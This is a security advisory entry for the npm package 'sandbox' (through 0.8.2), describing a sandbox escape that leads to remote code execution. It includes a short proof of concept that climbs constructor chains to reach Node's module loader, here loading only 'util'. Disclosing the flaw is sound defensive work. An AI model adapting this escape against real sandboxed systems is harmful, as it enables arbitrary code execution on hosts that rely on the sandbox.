OSV 1.4.0 · github-reviewed · 修改于 2026-02-03 07:13
发布时间
2020-09-02 23:51
GitHub 审查时间
2020-09-01 02:34
NVD 发布时间
—
源文件
advisories/github-reviewed/2020/09/GHSA-fm4j-4xhm-xpwx/GHSA-fm4j-4xhm-xpwx.json
All versions of sandbox through 0.8.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.
var Sandbox = require("sandbox")
s = new Sandbox()
code = `new Function("return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())")()("util").inspect("hi")`
s.run(code)
No fix is currently available. Consider using an alternative module until a fix is made available.